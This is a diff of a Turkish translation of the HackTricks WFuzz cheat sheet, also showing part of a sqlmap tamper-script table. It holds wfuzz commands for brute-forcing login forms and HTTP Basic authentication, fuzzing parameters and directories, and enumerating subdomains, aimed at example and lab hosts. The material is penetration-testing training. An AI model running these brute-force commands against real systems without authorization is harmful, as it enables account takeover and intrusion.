| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
|
||||
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Web Tool - WFuzz
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -19,7 +19,7 @@ Web uygulamalarını FUZZ yapmak için bir araç.
|
|||
|
||||
> [Wfuzz](https://github.com/xmendez/wfuzz), web uygulamaları değerlendirmelerinde görevi kolaylaştırmak için oluşturulmuştur ve basit bir kavrama dayanmaktadır: FUZZ anahtar kelimesine yapılan her referansı belirli bir yükün değeriyle değiştirir.
|
||||
|
||||
## Kurulum
|
||||
## Installation
|
||||
|
||||
Kali'ye kuruldu
|
||||
|
||||
|
@ -57,7 +57,7 @@ Bir encoder kullanmak için, bunu **"-w"** veya **"-z"** seçeneğinde belirtmen
|
|||
-w /path/to/file,base64 #Will use a list, and transform to base64
|
||||
-z list,each-element-here,hexlify #Inline list and to hex before sending values
|
||||
```
|
||||
## CheetSheet
|
||||
## CheatSheet
|
||||
|
||||
### Giriş Formu bruteforce
|
||||
|
||||
|
@ -71,7 +71,7 @@ wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&
|
|||
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
||||
#Here we have filtered by code
|
||||
```
|
||||
#### **GET, 2 liste, filtreleme dizesi (göster), proxy, çerezler**
|
||||
#### **GET, 2 liste, filtre dizesi (göster), proxy, çerezler**
|
||||
```bash
|
||||
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
||||
```
|
||||
|
@ -85,7 +85,7 @@ wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
|
|||
```bash
|
||||
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
|
||||
```
|
||||
### Header Authentication
|
||||
### Başlık Kimlik Doğrulaması
|
||||
|
||||
#### **Temel, 2 liste, filtre dizesi (göster), proxy**
|
||||
```bash
|
||||
|
@ -111,7 +111,7 @@ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
|
|||
top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
|
||||
http://example.com -t 100
|
||||
```
|
||||
### HTTP Fiilleri (metotları) bruteforce
|
||||
### HTTP Fiilleri (metotları) brute force
|
||||
|
||||
#### **Dosya Kullanarak**
|
||||
```bash
|
||||
|
@ -131,8 +131,8 @@ wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --
|
|||
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking Öğrenin ve Pratik Yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking Öğrenin ve Pratik Yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue